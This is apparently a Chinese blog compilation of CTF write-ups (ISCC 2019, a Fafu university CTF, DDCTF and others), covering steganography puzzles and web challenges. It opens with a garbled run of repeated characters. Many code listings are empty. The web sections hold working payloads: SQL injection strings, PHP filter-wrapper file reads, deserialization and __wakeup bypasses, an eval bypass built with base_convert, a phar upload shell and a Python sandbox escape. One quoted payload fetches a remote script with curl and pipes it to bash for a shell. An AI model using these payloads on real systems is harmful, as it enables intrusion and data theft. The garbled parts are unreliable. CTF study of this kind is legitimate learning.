洮蓠朩暒戶囗 萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗 萇條戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條戶囗 萇條戶囗 萇條戶囗 萇條戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條' |
flag:flag{ISCC_WELCOME}
exe文件用sublime text打开后得到一串密文,用notepad base64解密后得到一个类似png的文件,保存后修改文件头为89 50 4E 47 0D 0A 1A 0A得到正确的png文件,是个二维码,扫描就得到了flag
flag:IScC_2019
一个jpg文件,winhex打开发现里面有东西,修改文件后缀zip,解压后发现是一堆二维码
一个个用winhex打开发现最后一个50.jpg与众不同,flag就藏在里面
flag:15cC9012
没有flag标签,试了几分钟也是挺坑的,还好手快还有前十血emmm
下载后的文件时一个压缩包,解压需要密码,但是用winhex打开后可以发现文件末尾有504B开头的十六进制数,
发现0908说明存在zip伪加密,将09改为00即可
压缩后时一个exe文件,需要用户名和密码,老样子用winhex打开
发现admin字样,猜测用户名就是admin,密码就是后面那串ISCC开头的字符,这个密码也尝试了挺久的,因为前后存在混淆的字符
最后正确的密码是:ISCCq19pc1Yhb6SqtGhliYH688feCH7lqQxtfa2MpOdONW1wmIleBo4TW5n
登陆后即可获得flag
下载后的压缩包解压后得到一张损坏的png图片,在kali下修改png文件头,输入!%xxd进入十六进制编辑
修改文件头为8950后在命令输入!%xxd -r返回原来的编码后保存

修复后得到一个二维码,扫描后的内容:中口由羊口中中大中中中井
查询后发现是一个当铺密码,解密网站http://www.zjslove.com/3.decode/dangpu/index.html 解密后得到:201902252228
但是这个还不是flag,我们可以发现png图片中还隐藏了一个mp3文件,将png改成zip解压得到mp3文件,前面又解密得到了密码,所以很明显就是考察mp3隐写,这就需要使用到工具Mp3stego
解密后得到01.mp3.txt文件,内容是:
1 | flag{PrEtTy_1ScC9012_gO0d} |
拿去Unicode解密即可得到flag:flag{PrEtTy_1ScC9012_gO0d}
这里提交的时候也要把flag{}去掉,也是坑
原图可以分离成十个图片,分离后的十张图每张图末尾处都不一样
猜测信息就包含在里面,我们需要将信息提取出来,根据题目提示欧鹏曦文猜测可能需要opencv脚本来提取,但是无奈没写过,只能肉眼识别了
将多出来的这一部分的十六进制复制到notepad++里
点击 设置->首选项->编辑->勾选“显示列边界”->边界宽度设置为51(或26),然后 Ctrl+I ,文本每行就51个字符自动分行了
然后 Ctrl+F->标记->查找目标为0->查找全部 ,就可以给所有0标记颜色,做完这两步后,发现了类似flag的字符:
将10张图片都这样做,选择完整的一边截图然后拼接起来:
flag:Flag={ISCC_is_so_interesting_!}
在Apache 2.4.0到2.4.29版本中使用到了如下的配置信息:
1 | <FilesMatch \.php$> |
这是一个php文件的解析表达式,我们可以注意到$,这个解析漏洞的根本原因就是这个$。我们知道$在正则表达式中用来匹配字符串结尾位置,在菜鸟教程中对正则表达符$的解释如下:
1 | 匹配输入字符串的结尾位置。如果设置了 RegExp 对象的 Multiline 属性,则 $ 也匹配 ‘\n’ 或 ‘\r’。要匹配 $ 字符本身,请使用 \$。 |
说明了$是可以匹配到字符串结尾的换行符,也就是说,如果我们此时有个文件后缀名为:.php\n,Apache是会将其作为php文件进行解析的
了解了该解析漏洞,我们便可以利用它来绕过上传的黑名单限制,例如存在下面的上传逻辑:
1 |
|
这里使用到了黑名单过滤方式,但是如果我们利用上述漏洞,上传一个文件名为:1.php\x0a,那么便可以成功绕过黑名单的限制上传php文件
实例来自于中南大学的院赛ctf中的一道题,题目名字是upload something
题目页面如下:
上传文件时可以发现,不论正常上传什么文件,login.php都显示bad file
我们抓包可以发现,请求包中额外post一个参数name
这就想到了我们分析的Apache解析漏洞,如果文件名取自$_FILES['file']['name'],就会自动把换行符去掉,而文件名取自post参数name中,就能很好的利用到这个解析漏洞
下面我们上传一个包含换行符的文件,这里需要注意只能时\x0a而不是\x0d\x0a,\x0d\x0a的情况是我们直接添加一个换行符,我们利用burp的hex功能在test666.php后面添加一个\x0a
从响应包中可以看到上传成功了,但是相应页面success.html中并没有告诉我们上传文件的目录
但是我们在请求包中还可以看到一个参数dir = /upload/,所以猜测上传目录为·/upload/test666.php%0a
访问成功,最后就是上木马拿shell了
最后我们可以看一下upload.php的源码:
1 |
|
验证的逻辑就是首先利用正则匹配验证后缀名是否包含了php,第二步就是利用黑名单过滤,但是由于未过滤php%0a,并且取post参数name作为文件名,所以便可以很好的利用到apache的解析漏洞,另外我们还可以看一下apache配置文件,文件目录在/etc/apache2/conf-available/docker-php.conf:
1 | <FilesMatch \.php$> |
正如我们前面提到的配置文件内容一样,$能匹配到换行符\x0a,这就造成了该解析漏洞
这个漏洞利用的条件如下:
$_FILES['file']['name'],因为他会自动把换行去掉,这一点有点鸡肋\x0a总体上而言,只要取$FILES['file']['name']作为文件名,就可以无视该解析漏洞,所以该漏洞总体来说实际用处不大,但是由于根本成因在于$,在以后的其他某些漏洞可以还有利用到的地方,作为一种姿势学习一下还是蛮有趣的。
最后附上参考链接:
]]>所有题目都已经传到github上面了:https://github.com/Foxgrin/2019-Fafu-ctf
得到flag的条件:md5($_POST['name']) === sha1($_POST['password'])
考察的是md5和sha1函数无法处理数组的特性,处理结果都是NULL
payload:
1 | name[]=1&password[]=2 |
flag:flag{WelCome_To_Fafu_2019_ctf}
扫描目录发现存在.git泄露
使用githack进行还原即可
还原后发现flag文件:{975fdb8c8c79c7c9502834c1baf02b36}
提示:id is not in whitelist.
猜测注入点在参数id,GET传参id=1得到回显信息
经过fuzz测试,题目通过黑名单的方式过滤了or,union,*,benchmark,sleep,if,case
无法使用联合注入,盲注,但是报错注入函数extractvalue和updatexml都未被过滤
尝试payload:
1 | ?id=1 and extractvalue(1,concat(0x3a,database(),0x3a))%23 |
发现concat又被过滤了,但是可以用make_set函数来代替
注数据库名payload:
1 | ?id=1 and extractvalue(1,make_set(3,'~',database()))%23 |
数据库名:web
因为这里or被过滤了,所以无法使用information_schema库得到表名和列名
猜测列名flag在表名flag中:
1 | ?id=1 and extractvalue(1,make_set(3,'~',(select flag from flag)))%23 |
得到flag:flag{1n0rRY_i3_Vu1n3rab13}
抓包发现响应包头部字段藏有提示字段:hint: include($_GET["file"])
提示考察文件包含,使用php伪协议读取index.php源码:
1 | ?file=php://filter/convert.base64-encode/resource=index.php |
1 |
|
file_get_contents函数同样用伪协议php://input利用
源代码中还给了提示文件class.php,同样方法读取源代码:
1 |
|
发现是一个Read类,其中魔术方法__toString在当对象被当做字符串时候会自动调用,调用后会执行file_get_contents函数读取文件,结合class.php中的反序列化函数unserialize,我们可以构造对象的序列化字符来读取f1a9.php文件
构造序列化字符的代码如下:
1 |
|
得到的序列化字符:
1 | O:4:"Read":1:{s:4:"file";s:8:"f1a9.php";} |
最终payload:
1 | POST /?file=class.php&user=php://input&pass=O:4:"Read":1:{s:4:"file";s:8:"f1a9.php";} HTTP/1.1 |
密码字段过滤了',#,||,or
在用户名字段尝试admin'#,回显的信息为:Wrong username / password.
尝试admin' or 1#,回显的信息为:Wrong password for users
回显的信息不同,猜测用户名admin其实是不存在的,并且后台还对我们输入的密码进行了验证
admin' union select 1,2#,回显信息:Wrong password for 1
有注入点,开始常规注入,数据库名为fafuctf,表名为users,列名为username,password
注password:
1 | username=admin' union select group_concat(password),2 from users#&password=1 |
password:8235020a76bf2f8e3e30c500c3f309220d26c544
同样的方法注出用户名为:users
尝试登陆但是失败,观察密码字段
猜测密码字段经过加密,从40位字符可以猜到是sha1加密,结合前面的分析,可以猜测出,后台进行的密码验证为$row['password'] === sha1($_POST['password'])
我们可以通过union构造password字段的查询值,所以最终payload为:
1 | username=admin' union select 1,sha1(2)#&password=2 |
flag:flag{SqLi_InjEc4ion_Is_So_E@Sy}
扫描后台发现存在备份文件www.zip
审计源码,网站目录如下:
1 | html tree |
审计源码
在index.php中,发现可以通过参数$_GET['page']执行命令,但是该参数经过waf和file_exists的过滤处理,
所以无法通过$_GET['page']函数执行命令
另外发现了反序列化函数,猜测可以构建类,正好根目录下存在文件class.php
跟踪class.php,虽然同样有waf,但是可以绕过,最终payload:
1 | POST /?page=Passge&tip=php://input&tips=O:4:"Blog":1:{s:4:"file";s:26:"%26/bin/ca?%09./templates/Flag";} HTTP/1.1 |
这个payload其实使用了统配符来绕过WAF,在linux下,/bin/ca? 相当于/bin/cat 。由于过滤了符号 ‘<’ 和空格,所以无法使用 cat ./templates/Flag ,但是我们可以使用%09(Tab)来替换空格,绕过WAF。
另外要注意的是file值%26/bin/ca?%09./templates/Flag的长度,%26会被URL解码为&,%09会被解码会Tab,所以%26和%09长度都相当于1
赛后从福大师傅那里得知单引号能绕过黑名单过滤ca''t,他们给的payload是tips=O:4:"Blog":1:{s:4:"file";s:18:"%;c''at%09./waf.php;";}
另外福大师傅还有;cu''rl\$IFS\$9{x.x.x.x}|bash;直接拿shell的方法
注册信息后,在view.php页面,发现url存在参数no存在sql注入,过滤了union select,采用/**/代替空格
?no=0%20union/**/select%201,database(),3,4?no=0%20union/**/select%201,group_concat(table_name),3,4%20from%20information_schema.tables%20where%20table_schema=database()?no=0%20union/**/select%201,group_concat(column_name),3,4%20from%20information_schema.columns%20where%20table_name=%27users%27?no=0%20union/**/select%201,data,3,4%20from%20users发现data是一串序列化字符串,并且给出了类的所有信息,结合页面age和blog字段无法显示以及反序列化函数报错信息,猜测后台将data信息取出进行了反序列化处理,并且,在页面下方通过iframe标签将博客页面访问出来,说明可能利用了php的curl扩展对我们注册的博客信息进行请求,并将请求获得的页面内容通过iframe标签显示出来,说明可能存在SSRF漏洞,其原理与读取文件类似,我们通过报错信息知道了网站的绝对目录,便可以利用file协议进行读取任意文件,但是要注意需要序列化处理
最终获得flag的payload:
1 | ?no=0%20union/**/select%201,data,3,%27O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";}%27%20from%20users |
将得到的页面内容进行base64解密后获得flag
考察 Linux 文件重定向 flag{You_F0und_4_Supr1s3_1n_These_Bug5:)}
环境部署:
1.服务端运行 python server.py, 并修改 client.c 中的 ip 和 port
2.编译 gcc client.c -o bugProgram 并下发
题解:
考察 Python3 沙盒绕过 flag{Awes0me_Pyth0n_&_Aw3s0me_Cl4ss}
chmod o-w flag.txtsocat tcp-listen:8999,fork exec:"./run.sh",stderrnc ip 8999print(''.''.__class__.__mro__[1].__subclasses__()[93].__init__.__globals__['sys'].modules['o'+'s'].spawnlp(0, 'cat', 'cat', 'flag'))__subclasses__()[93] 是 <class 'codecs.StreamReaderWriter'> 的索引, 视具体情况而定s = ''.__class__.__mro__[1].__subclasses__()for i in s: print(str(i) + ' ' + str(s,index(i)))考察png的基本格式
首先把图片开头的几个nop删掉,然后得到图片
之后修改图片宽度,得到写有flag的图片
python脚本如下:
1 | for i in range(16,256): |
考察 IDAPatch 的使用 flag{why_need_so_large_ram_emmmmmmm}
环境搭建:
fakeRam 程序题解:
利用 IDAPatch nop 掉所有严重与等待后重新运行即可自动输出 flag
考察c++STL容器基础
开始创建三个vector容器
第一个放入输入的16个数字
第二个放入从500开始的16个素数
第三个倒序放入第一个容器的16个数字
比较第三和第二个容器
相等则得到flag
1 | from hashlib import sha256 |
得到flag
考察简化的DES差分分析
1 | #SBOX = [[[14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7], [0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8], [4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0], [15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13]], [[15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10], [3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5], [0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15], [13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9]], [[10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8], [13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1], [13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7], [1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12]], [[7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15], [13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9], [10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4], [3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14]], [[2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9], [14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6], [4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14], [11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3]], [[12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11], [10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8], [9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6], [4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13]], [[4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1], [13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6], [1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2], [6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12]], [[13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7], [1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2], [7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8], [2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11]]] |
1 | from round1 import * |
根据明文和密文,每两对4bit的明文和6bit的密文可以获得一组key,多组明文密文的组合可以得到做个key的集合,最后几个集合的交集就是key,8个key合在一起就是subkey,有了key就可以进行解密,然后得到明文flag
考察基础的ret2libc和ret2plt
1 | from pwn import * |
考察基础的ret2shellcode
1 | from pwn import * |
根据源代码给出的提示,知道是先利用LFI读取index.php和hint.php的源码
1 | ?file=php://filter/convert.base64-encode/resource=index.php |
在index.php文件中,我们可以发现参数$_GET['payload']最后经过反序列化函数的处理,但是在之前将该参数经过parse_url函数的处理后的结果做了正则匹配过滤的处理,但是我们可以绕过parse_url函数,具体参考链接:http://www.am0s.com/functions/406.html
参考链接中提到,parse_url函数在处理///时会返回false
测试代码如下:
我们可以看到,当URI的开头为///时,parse_url是无法解析出URL的相关信息的,返回NULL
在官方文档中对该函数的注释:
1 | Note: |
尽管该函数能解析不完整的URL,但是无法解析除file:///协议外的其他协议,当parse_url解析不出信息时,将返回NULL
如此一来,我们绕过了parse_url函数,即可执行反序列化函数,接下来就是要查看类中的具体信息了,类的信息就在hint.php文件中
我们可以看到两个类Handle和Flag,要得到flag,我们只能通过调用Flag类的getFlag()方法执行最后的highlight_file方法,但是,通过一次反序列化对象,我们是无法直接调用到该方法的,所以,只有通过Handle类的魔术方法__destruct,它在对象被销毁是自动调用,__constrct则是对象创建时自动调用,调用__destruct方法后才能调用getFlag()方法,所以Handle类的handle属性,必须是一个Flag对象
另外,我们可以注意到Handle类中还有一个魔术方法__wakeup,这是一个在对象被反序列化时会被自动调用的魔术方法,如果调用了,则会把对象中的所有属性置null,所以__wakeup就是我们必须要绕过的第二个地方,这里具体可以参考:https://mochazz.github.io/2018/12/30/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96bug/
里面提到了__wakeup魔术方法的一个bug,当我们将object size即类的对象个数改为比原有个数大时,__wakeup方法在对象被反序列化时就不会被调用
测试代码如下:
可以看到,正常情况下的反序列化会调用到__wakeup,将handle属性置null,导致无法执行getFlag方法,另外我们还可以注意到,稀有属性序列化后有特别的属性格式\x00Handle\x00handle
现在我们将对象个数1修改为比1大的数字,将上面代码的测试段修改为:
1 | $h = $_GET['h']; |
这里发现反序列化函数出现了报错,这是因为我这里测试的PHP版本为7.0过高的原因,可见这个Bug需要较低的PHP版本,将PHP版本修改为5.4后,再次执行
没有报错,说明成功了,但是这里没有读出内容,是因为要执行getFlag的最后读取文件,还有第三个约束条件
if($this->token === $this->token_flag)
如果按照正常的代码逻辑来看,两个的随机数的md5值是几乎不可能相等的,但是我们可以通过类似指针的原理,让$this->token = &this->token_flag,这样$this->token的值会随着$this->token_flag值的改变而改变,生成最终的Handle对象的代码如下:
序列化后的Handle对象为:O:6:"Handle":2:{s:14:"\x00Handle\x00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";s:32:"3ba716f4a7265eef381f7cef9e271f27";s:10:"token_flag";R:4;}},再结合前面分析的两个分别绕过__wakeup和parse_url
最终payload如下:
1 | http://xxx///index.php?file=hint.php&payload=O:6:"Handle":2:{s:14:"\x00Handle\x00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";s:32:"3ba716f4a7265eef381f7cef9e271f27";s:10:"token_flag";R:4;}} |
在源码中发现calc.php,访问得到源代码,如下:
很明显,看到eval函数,这题考察的是命令执行拿flag,但是$content会先后经过黑白名单的校验并且长度不能大于等于80
黑名单是限制了我们输入的一些特殊字符,白名单则是限制了我们使用的函数
这里限制了我们只能使用数学函数,通过查阅各种数学函数的作用,发现能利用的只有base_convert,它能在2进制到36进制之间进行任意进制的转换,而36进制能表示字符0-9a-z,所以我们可以通过该函数来构造一些简单的函数,例如phpinfo,我们先把它转换成十进制
1 | echo base_convert('phpinfo', 36, 10); |
这里大家可能有疑问,为什么一定要转化为十进制数,其实十进制以下都可以,但是十六进制就不行了,因为十六进制中会包含英文字母,而英文字母会在白名单校验中的正则匹配函数匹配到而执行失败
我们还可以执行一些其他命令,例如system('dir'):base_convert(1751504350,10,36)(base_convert(17523,10,36))
可以看到目录下存在flag.php文件
但是,单靠一个base_convert函数,我们是无法构建出能读取flag.php文件的函数,因为base_convert函数只能构造出0-9a-z范围内的字符,例如空格,点号,都是无法通过进制转换进行构造的
所以这里想到用php的十六进制转字符串的函数hex2bin,但是该函数只使用与php7.0版本以上,正好该题目环境是7.0以上,所以该函数可以利用,同样用base_convert函数构造hex2bin:base_convert(37907361743,10,36),该函数传入的参数必须是十六进制数,又因为十六进制数难免包含字母,这样会被白名单给过滤,所以我们可以再利用一个数学函数dechex,它能将十进制数转换为十六进制数,也就是说,我们可以通过base_convert(37907361743,10,36)(dechex())构造出函数hex2bin(),但是,这里eval语句最前面还有echo,如果构造system(hex2bin()),则需要调用到两次base_convert和一次dechex,而这样比然长度会超过80,所以应该这题要通过其他参数引入的方式来打破字符长度的限制
开始构造多$_GET传参
首先先通过传入的参数$c去定义一个变量,变量的值等于_GET,当然,这里变量名必须是数学函数,所以这里采用最短的pi作为变量名,这是为了尽可能的压缩长度,构造的payload为:$pi=base_convert(37907361743,10,36)(dechex(1598506324))
上图即执行了语句eval('echo $pi=base_convert(37907361743,10,36)(dechex(1598506324));')
接下来,再通过$_GET[]($_GET[])进行多GET执行命令
但是这里黑名单过滤了[],而{}是可以用来代替索引数组的
最终构造的payload如下:
1 | c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pow}(($$pi){pi})&pow=system&pi=type%20flag.php |
因为比赛环境关了的原因,本地测试采用的windows系统,linux系统将payload中的type改为cat即可
这题的waf会将|,or,sleep,if,benchmark,case等字符替换为QwQ
返回的信息有两种:
username=admin'&password=123username=admin&password=123排除了延时注入,报错注入,布尔注入。本题采用了一种基于语法的盲注,利用逻辑运算符和溢出报错来进行注入,这里采用了pow(9999,100),这个表达式的值在MYSQL中已经超出了double范围,会溢出。然后构造以下payload来进行盲注:
1 | username=admin' ^ 1 and substr(database(),1,1)='a' and pow(9999,100)#&password=123 |
在后台构成的SQL查询语句大致就是:
1 | select * from user where username='admin' ^ 1 and substr(database(),1,1)='a' and pow(9999,100)# and password='123'; |
加入异或符号^是为了能够保证,即使admin用户名不存在,异或1的结果后仍然为true,保证能执行到后面的盲注判断语句substr()=''。如果该判断语句为true,则会执行pow(9999,100),产生溢出错误,页面返回的结果便是数据库操作失败;如果该判断语句为false,则不会执行pow(9999,100),返回的结果为登录失败
通过这种盲注,我写了如下脚本:
1 | import requests |
注出数据库名:ctf
但是,题目将or替换QwQ,所以我们无法通过正常利用information_schema库来得到表名和列名信息
有篇参考文章:如何在不知道MySQL列名的情况下注入出数据
里面提到了,在无法知道列名的情况下,我们可以通过select 1,2 union select * from user来注出列下的所有内容,我们只需要猜测表名和查询列数即可
所以,构造以下payload即可注出密码字段的内容:
1 | username=admin' ^ 1 and substr((select `2` from (select 1,2 union select * from user)a limit 1,1),1,1)='a' and pow(9999,100)#&password=123 |
脚本内容如下:
1 | import requests |
最终注出的admin用户的密码f1ag@1s-at_/fll1llag_h3r3
但是仍然无法登陆,后面没有思路便作罢
赛后发现是存在大小写问题,必须在脚本中利用ASCII码进行判断,别的大佬的题解里写出跑出来的结果是F1AG@1s-at_/fll1llag_h3r3,登陆后,发现存在远程连接MySQL的功能,有点类似DDCTF的MYSQL弱口令那道题,一样是要伪造一个MYSQL服务器端来连接最终获取flag,但是由于题目环境关闭了,无法进行复现了,但是这题学习到了一种新型的基于语法的盲注和无法得知列名情况下的注入,收获也还是蛮大的
题目的地址观察得知首先可以利用php伪协议读取源代码,再加上扫描后台以及读取源码中得到的提示,得出了题目的目录结构如下:
1 | ➜ html tree |
其中注意到的便是网站有上传文件的功能,app/Up10aD.php源码如下:
分析源码可知,对上传的文件做了类型的检查,根据类型自动加上后缀名jpg或者gif
在index.php中,存在文件包含:
但是自动加上了后缀名php
一开始的想法是上传图片马,然后通过截断的方式包含图片马,但是尝试了%00,0x00,文件长度截断,都失败了,原因是该题目的php版本为7.0以上,而上述尝试的截断方式都仅仅适用于php5
所以,尝试了利用phar协议包含文件,具体可以参考:zip或phar协议包含文件
具体方法为,使用phar类打包一个phar标准包
1 |
|
运行后生成phartest.zip压缩包,里面包含了代码为<?php phpinfo(); ?> 的test.php文件
然后在app/Up10aD.php文件中上传该压缩包,并修改文件名为phartest,文件类型为image/jpeg,
这样,上传文件地址就为upload/phartest.jpg,然后访问https://xxx/index.php?route=phar://upload/phartest.jpg/test
即可成功执行phpinfo
同样方法上传一句话木马后getshell也只发现存在flag.txt和/ctf/sdk.php
没有其他思路了,只能就此作罢,后面考察的应该是要绕过app/flag.php中sha1比较,才能拿到flag
题目链接:http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09
将参数jpg的值进行两次base64解码得到666C61672E6A7067,再进行十六进制转字符串的处理后得到flag.jpg,然后在源代码看到了加载出了flag.jpg文件的源码,怀疑是通过文件读取函数file_get_contents进行读取图片,将index.php进行转十六进制并进行两次base64编码后的值TmprMlpUWTBOalUzT0RKbE56QTJPRGN3赋值给参数jpg,得到经过base64加密后的源码:
解密后得到index.php源代码:
1 |
|
对读取文件做了过滤处理,首先是通过正则匹配函数过滤除了a-z,A-Z,0-9和小数点.以外的所有字符,并且将关键词config替换为!,看似flag就在config.php中,但是怎么想也绕不了过滤,这时注意到了代码开头的注释部分提示了一个博客地址,仔细翻阅博主的另一篇文章,里面提示一个文件名practice.txt.swp,访问,出现了文件名f1ag!ddctf.php
那么再次用同样的方法读取flag!ddctf.php文件的源代码,其中的感叹号!在参数中用config代替便可,即参数$file == hex2bin(base64_encode(base64_encode('f1agconfigddctf.php')))
获得f1ag!ddctf.php源代码:
1 |
|
考察变量覆盖和PHP伪协议,payload:
1 | POST /f1ag!ddctf.php?k=php://input&uid=hello HTTP/1.1 |
得到flag:DDCTF{436f6e67726174756c6174696f6e73}
题目链接:http://117.51.158.44/index.php

页面有401认证,查看源代码发现页面主题调用了方法auth(),注意到文件js/index.js,对其访问获得源码
js代码的大致意思是向http://117.51.158.44/app/Auth.php发送ajax请求,并设置了头部字段didictf_username,尝试头部字段didictf_username:admin时,页面响应内容为:{"errMsg":"success","data":"\u60a8\u5f53\u524d\u5f53\u524d\u6743\u9650\u4e3a\u7ba1\u7406\u5458----\u8bf7\u8bbf\u95ee:app\/fL2XID2i0Cdh.php"},发现了提示文件app/fL2XID2i0Cdh.php,访问后
可以获得/app/Application.php和/app/Session.php两个文件的源代码:
1 | #/app/Application.php |
1 | #/app/Session.php |
审计后的总体思路如下:
主体为Session.php,调用了Session类中的index方法,其中Session类继承了Application类
首先,调用Application类中的auth方法,必须返回true才能执行下面的语句,auth方法返回true的条件为:!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN,即头部字段didictf_username:admin,这是个大前提
接下来调用get_key方法,可以发现该方法给出了注释部分的提示:
1 | private function get_key() { |
提示flag和eancrykey都在../config文件夹下,并从key.txt取出加密的key
下一步就是调用session_read方法,如果返回true则返回的json信息中包含DiDI Welcome you $_SERVER['HTTP_USER_AGENT'],如果返回false则包含信息DiDI Welcome you,并且调用session_create方法,我们继续审计session_read方法,在其中我们可以发现其中的if语句:
1 | if(!empty($_POST["nickname"])) { |
可以看出,如果执行该if语句里的内容,可以得到加密的参数eancrykey,我们必须要让其执行,那么这个语句前面所有的条件都必须符合:
(1)cookie值不能为空
(2)cookie字段中必须包含参数ddctf_id
(3)$hash === md5($this->eancrykey.$session))
前面两个条件都很好满足,关键在于最后一个条件,参数hash和session分别来自下列语句:
1 | $hash = substr($session,strlen($session)-32); |
我们知道,substr函数中的参数$session是来自于cookie字段中的参数ddctf_id的值,所以
1 | $hash = 变量session截取strlen($session)-32位 ~ 最后一位 |
因为我们是不知道eancrykey的值,所以无法构造一个参数session能符合第三个条件,但是我们可以注意到当session_read方法返回false时,会执行方法session_create,继续跟进该方法,会发现方法的最后执行了setcookie,内容参数$cookiedata为:
1 | $userdata = array( |
最终cookiedata的值即为userdata序列化后的值拼接上md5加密后的eancrykey拼接上序列化值
如上图所示,符合大前提didictf_username,但是未设置cookie值,就会执行session_create设置cookie值,而字段ddctf_id的值:
1 | ddctf_id=a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22495e31ab571f67c3c4ec41915d106c08%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A14%3A%22202.101.138.82%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A109%3A%22Mozilla%2F5.0+%28Windows+NT+10.0%3B+WOW64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F73.0.3683.86+Safari%2F537.36%22%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3B%7D476e0efa4918bdfe3b0bbfdf499e75ac |
经过url解码后为:
1 | a:4:{s:10:"session_id";s:32:"495e31ab571f67c3c4ec41915d106c08";s:10:"ip_address";s:14:"202.101.138.82";s:10:"user_agent";s:109:"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36";s:9:"user_data";s:0:"";}476e0efa4918bdfe3b0bbfdf499e75ac |
可以看到32位的字符串476e0efa4918bdfe3b0bbfdf499e75ac这个即为加密的盐(参数eancrykey)与序列化值a:4:{s:10:"session_id";s:32:"495e31ab571f67c3c4ec41915d106c08";s:10:"ip_address";s:14:"202.101.138.82";s:10:"user_agent";s:109:"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36";s:9:"user_data";s:0:"";}拼接后的md5加密值,首先想到的是拿去md5解密网站上进行解密得到key,但是解密失败
虽然无法解密直接得到key,但是在session_read方法中,我们同样可以得到key,条件则是如前面所提到的,符合$hash === md5($this->eancrykey.$session))
可以发现,session_create方法得到的ddctf_id字段值正好符合这个条件:
从响应结果来看,说明session_read方法返回true,说明符合了前面的所有条件,那么最后要得到key,需要的条件为POST一个参数nickname,该参数与key加入一个数组$arr,通过遍历该数组对字符串Welcome my friend %s进行字符替换,由于参数nickname为数组第一个元素,所以第一个替换的为nickname的值,替换一次后,要想再替换上key,则nickname的值中必须包含%s,所以,最终得到key的payload如下:
1 | POST /app/Session.php HTTP/1.1 |
得到的key为:EzblrbNS
但这只是key,要想得到flag,我们必须利用前面读取出key的函数file_get_contents读取../config/flag.txt才能最终获取flag,这就需要利用到session_read方法中的反序列化语句$session = unserialize($session);
那么接下来就需要寻找可以利用反序列化进行修改的参数,在类Application的方法__destruct中,发现语句:$this->response($data=file_get_contents($path),'Congratulations');,存在可以利用的参数$path,追溯该参数来源,发现path经过函数sanitizepath过滤:
1 | private function sanitizepath($path) { |
并且需要满足条件:strlen($path) === 18,才可以执行上述语句进行文件读取
所以,思路很清晰了,通过参数session进行反序列化改变参数path的值读取文件../config/flag.txt
要进行反序列化,同样要满足我们一开始提到的得到key的三个条件,但是这里我们已经知道了key,所以很容易就可以控制参数session
获得序列化值的代码如下:
